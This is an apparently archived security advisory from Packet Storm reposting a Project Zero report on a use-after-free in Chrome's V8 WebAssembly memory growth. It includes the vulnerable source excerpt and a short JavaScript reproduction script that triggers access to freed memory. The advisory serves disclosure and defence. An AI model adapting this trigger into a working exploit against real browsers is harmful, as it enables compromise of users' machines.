exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Google Chrome WasmMemoryObject::Grow Use-After-Free

Google Chrome WasmMemoryObject::Grow Use-After-Free
Posted Jun 4, 2019
Authored by Google Security Research, Glazvunov

Google Chrome suffers from a use-after-free vulnerability in WasmMemoryObject::Grow.

tags | exploit
SHA-256 | ce09e1e77f3fdcbdae98ac08c289eb87a96ddd4ad1aa801fcfe91a8507bb8221

Google Chrome WasmMemoryObject::Grow Use-After-Free

Change Mirror Download
Chrome: Use-after-free in WasmMemoryObject::Grow 



VULNERABILITY DETAILS
https://cs.chromium.org/chromium/src/v8/src/wasm/wasm-objects.cc?rcl=783343158eb1b147df7e6669f1d03c690c878e21&l=1253
```
int32_t WasmMemoryObject::Grow(Isolate* isolate,
Handle<WasmMemoryObject> memory_object,
uint32_t pages) {
[...]
Handle<JSArrayBuffer> new_buffer;
if (old_buffer->is_shared()) {
// Adjust protections for the buffer.
if (!AdjustBufferPermissions(isolate, old_buffer, new_size)) {
return -1;
}
void* backing_store = old_buffer->backing_store();
if (memory_tracker->IsWasmSharedMemory(backing_store)) {
// This memory is shared between different isolates.
DCHECK(old_buffer->is_shared());
// Update pending grow state, and trigger a grow interrupt on all the
// isolates that share this buffer.
memory_tracker->SetPendingUpdateOnGrow(old_buffer, new_size);
// Handle interrupts for this isolate so that the instances with this
// isolate are updated.
isolate->stack_guard()->HandleInterrupts();
// Failure to allocate, or adjust pemissions already handled here, and
// updates to instances handled in the interrupt handler safe to return.
return static_cast<uint32_t>(old_size / wasm::kWasmPageSize);
}
// SharedArrayBuffer, but not shared across isolates. Setup a new buffer
// with updated permissions and update the instances.
new_buffer =
wasm::SetupArrayBuffer(isolate, backing_store, new_size, // ***1***
old_buffer->is_external(), SharedFlag::kShared);
memory_object->update_instances(isolate, new_buffer);
[...]
```

When `Grow` is called on a `WebAssembly.Memory` object that's backed by a `SharedArrayBuffer`, it
uses the buffer's backing store pointer to construct a new array buffer[1]. Calling `Detach` on
shared buffers is prohibited by the spec, so the the method just leaves the old one as it is. Thus
two array buffers might end up owning the same backing store, and if one of the them got garbage
collected, the other one would point to a freed memory region.

Blink's SharedArrayBuffer implementation uses reference-counted backing stores, so v8 should
probably implement something similar.

VERSION
Google Chrome 73.0.3683.103 (Official Build) (64-bit) (cohort: Stable)
Chromium 75.0.3758.0 (Developer Build) (64-bit)
This bug affects the stable branch due to the currently active \"WebAssembly Threads\" Origin Trial.
https://developers.chrome.com/origintrials/#/view_trial/-5026017184145473535

REPRODUCTION CASE
<script>
function gc() {
for (let i = 0; i < 50; ++i) {
let buffer = new ArrayBuffer(1024 * 1024);
}
}

setInterval(() => {
memory = new WebAssembly.Memory({initial: 1, maximum: 2, shared: true});
memory.grow(1);
gc();
array = new Int8Array(memory.buffer);
array[0x1337] = 1;
});
</script>

CREDIT INFORMATION
Sergei Glazunov of Google Project Zero

This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made
broadly available (whichever is earlier), the bug report will become visible to the public.




Found by: glazunov@google.com

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close